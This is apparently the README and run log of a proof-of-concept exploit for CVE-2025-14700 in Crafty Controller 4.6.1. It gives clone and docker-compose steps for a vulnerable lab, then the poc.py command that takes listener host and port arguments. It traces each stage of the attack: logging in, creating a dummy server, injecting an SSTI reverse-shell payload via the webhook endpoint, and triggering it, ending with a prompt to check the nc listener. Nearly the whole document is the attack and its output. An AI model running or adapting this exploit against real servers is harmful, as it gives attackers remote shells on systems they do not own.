# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

docker-compose up -d

# Execute the Proof of Concept for a reverse shell
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699

python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)

================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
        "user_id": "1",
        "page": "/panel/dashboard"
    }
}
================================================================================

[*] STEP 3: Creating exploit dummy server...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
    }
}
================================================================================

[*] STEP 4: Injecting SSTI Reverse Shell payload...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "webhook_id": 13
    }
}
================================================================================

[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok"
}
================================================================================

[*] Sending EULA confirmation action request...

[+] POC Execution completed. Check your nc listener (LHOST/LPORT).